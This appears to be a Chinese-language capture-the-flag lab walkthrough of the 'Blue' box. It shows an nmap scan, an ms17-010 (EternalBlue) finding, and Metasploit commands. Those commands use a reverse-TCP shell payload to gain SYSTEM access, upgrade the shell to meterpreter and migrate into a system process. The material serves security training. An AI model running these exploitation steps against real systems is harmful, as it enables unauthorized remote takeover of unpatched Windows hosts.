1-try-blue

##目标
10.10.203.77

##端口

```
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
```

##系统和服务

```
nmap -sVC -O -p135,139,445,3389 10.10.109.165
[0/23]
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-07 02:31 GMT
Nmap scan report for 10.10.109.165
Host is up (0.22s latency).

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
(workgroup: WORKGROUP)
3389/tcp open  tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft
Windows Home Server 2011 (Windows Server 2008 R2) (96%),
Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows 7 (96%), Microsoft Windows
7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windo
ws 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows
8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Micro
soft Windows 7 Ultimate (96%), Microsoft Windows 8.1 (96%), Microsoft Windows Vista or
Windows 7 SP1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
```

```
|_nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC:
02:f0:ca:ef:3a:e5 (unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
|_clock-skew: mean: 1h59m58s, deviation: 3h27m51s, median: -2s
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Jon-PC
|   NetBIOS computer name: JON-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-03-06T20:31:38-06:00
| smb2-time:
|   date: 2024-03-07T02:31:38
|_  start_date: 2024-03-07T02:16:45

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.80 seconds
```

##漏扫结果
存在永恒之蓝

```
Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-
wannacrypt-attacks/
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
```

```
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
```

##用名收集

```
Jon-PC
```

##权限

#user

```
mfs 利用永恒之蓝，但是要更换mfs的监听payloads
msfconsole
search ms17-010
use 0
set payload windows/x64/shell/reverse_tcp
show options
set RHOSTS 10.10.109.165
run

获得一个用户权限
Shell Banner:
Microsoft Windows [Version 6.1.7601]
-----
C:\Windows\system32>whoami
whoami
nt authority\system
```

稳定化shell

```
将当前获取到session保存到后台
background

使用mfs里的后渗透模块
use shell_to_meterpreter
sessions #查看我们的对呼哈
set SESSION 1  #选择对话

让该模块读取到我们的会话
sessions -u 1
sessions
等读取到我们的会话后，会自动升级我们的shell，也可以直接使用run

sessions  #这个时候会发现后台多个一个shell
sessions -i 2 #选取即可
```

现可以使用meterpreter模块的命令了
meterpreter > *getuid*
Server *username: NT AUTHORITY\SYSTEM*

加强
ps查看进程，寻找运行在NT *AUTHORITY\SYSTEM*的程序
meterpreter > *migrate -N conhost.exe*